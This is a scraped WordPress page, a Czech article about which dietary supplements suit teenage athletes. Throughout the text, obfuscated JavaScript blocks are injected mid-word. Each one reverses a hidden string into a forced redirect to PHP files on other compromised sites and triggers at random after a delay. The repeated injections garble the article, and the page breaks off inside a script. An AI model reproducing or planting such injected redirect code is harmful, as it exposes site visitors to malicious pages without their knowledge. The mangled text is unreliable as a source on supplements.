$NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to v\u011bku bezpe\u010dn\u00e9, do jak\u00e9 m\u00edry jsou suplementy nezbytn\u00e9 a pokud u\u017e maj\u00ed svoje pen\u00edze inves<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovat, r\u00e1di by v\u011bd\u011bli, co z&nbsp;neuv\u011b\u0159iteln\u011b \u0161irok\u00e9 nab\u00eddky na na\u0161em trhu vlastn\u011b vybrat.<\/p>\n\n\n\n<p>N\u00e1sleduj\u00edc\u00ed \u0159\u00e1dky tedy nejsou ur\u010deny v\u00e1m, kte\u0159\u00ed tr\u00e9nujete \u0159adu let a s koncovkou \u201e-n\u00e1ct\u201c jste se p\u0159i ud\u00e1v\u00e1n\u00ed v\u011bku d\u00e1vno rozlou\u010dili. Nyn\u00ed p\u0159in\u00e1\u0161\u00edme odpov\u011bdi na nej\u010dast\u011bj\u0161\u00ed ot\u00e1zky za\u010d\u00ednaj\u00edc\u00edch mlad\u00fdch spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovc\u016f a jejich rodi\u010d\u016f.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Co je suplement?<\/strong><\/h2>\n\n\n\n<p>Suplement \u2013 \u010desky \u201ev\u00fd\u017eivov\u00fd dopln\u011bk\u201c &#8211; je produkt, jeho\u017e \u00fakol spo\u010d\u00edv\u00e1 v DOPLN\u011aN\u00cd (tzn. nikoliv n\u00e1hrad\u011b) ur\u010dit\u00fdch \u017eivin, kter\u00e9 nejsou organismu poskytnuty v&nbsp;b\u011b\u017en\u00e9 strav\u011b v&nbsp;dostate\u010dn\u00fdch d\u00e1vk\u00e1ch.<\/p>\n\n\n\n<p>N\u00e1ro\u010dn\u00e9 tr\u00e9ninky kladou na t\u011blo spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovce velk\u00e9 n\u00e1roky, nen\u00ed tedy divu, \u017ee organismus v&nbsp;z\u00e1t\u011b\u017ei pot\u0159ebuje ur\u010dit\u00fdch \u017eivin v\u00edce ne\u017e t\u011blo nespor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovce. Zv\u00fd\u0161en\u00e1 pot\u0159eba takov\u00fdch l\u00e1tek se pak t\u00fdk\u00e1 i dosp\u00edvaj\u00edc\u00edch spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovc\u016f.<\/p>\n\n\n\n<p>Zcela z\u00e1sadn\u00ed ale v\u017edy je, aby v\u00fd\u017eivov\u00fd produkt p\u0159in\u00e1\u0161el pozitivn\u00ed efekt a t\u011blu, kter\u00e9 je ve v\u00fdvinu, ne\u0161kodil. Mlad\u00ed spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovci a jejich rodi\u010de by se pro<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to m\u011bli p\u0159i v\u00fdb\u011bru suplement\u016f v\u017edy dr\u017eet produkt\u016f kvalitn\u00edch a prov\u011b\u0159en\u00fdch. Tzn. takov\u00fdch, jejich\u017e slo\u017een\u00ed je pln\u011b v&nbsp;souladu s&nbsp;fungov\u00e1n\u00edm organismu spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovc\u016f t\u00e9<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to v\u011bkov\u00e9 skupiny.<\/p>\n\n\n\n<p>Sou\u010dasn\u011b plat\u00ed, \u017ee suplement nem\u016f\u017ee zas<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toupit vyv\u00e1\u017een\u00fd j\u00eddeln\u00ed\u010dek. Nejde v&nbsp;\u017e\u00e1dn\u00e9m p\u0159\u00edpad\u011b o z\u00e1zra\u010dn\u00fd produkt, d\u00edky n\u011bmu\u017e dos\u00e1hne super v\u00fdsledk\u016f i nad\u0161enec, kter\u00fd si d\u00e1 k&nbsp;ob\u011bdu fast food a ve\u010der velkou pizzu. Jakmile m\u00e1 ale spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovec sestaven\u00fd vhodn\u00fd cvi\u010debn\u00ed program a dodr\u017euje odpov\u00eddaj\u00edc\u00ed j\u00eddeln\u00ed\u010dek, mohou mu spr\u00e1vn\u011b zvolen\u00e9 suplementy pomoci dos\u00e1hnout kvalitn\u00edch v\u00fdsledk\u016f, pro<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to\u017ee optimalizuj\u00ed p\u0159\u00edjem d\u016fle\u017eit\u00fdch \u017eivin. T\u00fdk\u00e1 se <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to p\u0159edev\u0161\u00edm:<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>b\u00edlkovin + aminokyselin;<\/li><li>vitamin\u016f a miner\u00e1l\u016f.<\/li><\/ul>\n\n\n\n<p><strong>Jak\u00e9 skupiny v\u00fd\u017eivov\u00fdch dopl\u0148k\u016f jsou vhodn\u00e9 pro teenagery?<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>proteinov\u00e9 pr\u00e1\u0161ky;<\/li><li>aminokyseliny;<\/li><li>multivitaminy a miner\u00e1ly;<\/li><li>kreatin.<\/li><\/ul>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>PROTEINOV\u00c9 PR\u00c1\u0160KY<\/strong><\/h2>\n\n\n\n<p class=\"has-text-align-left\">Proteiny (b\u00edlkoviny) jsou z\u00e1kladn\u00ed stavebn\u00ed bloky svalov\u00e9 tk\u00e1n\u011b. Tak, jako nepostav\u00edte d\u016fm bez cihel (\u010di jin\u00e9ho stavebn\u00edho materi\u00e1lu), nenaberete svalovou hmotu bez dostate\u010dn\u00e9ho p\u0159\u00edjmu b\u00edlkovin. T\u011blo dosp\u00edvaj\u00edc\u00edho spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovce nav\u00edc pot\u0159ebuje hodn\u011b b\u00edlkovin i vzhledem k&nbsp;p\u0159irozen\u00fdm r\u016fs<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tov\u00fdm proces\u016fm, kter\u00e9 v&nbsp;<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tom<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return 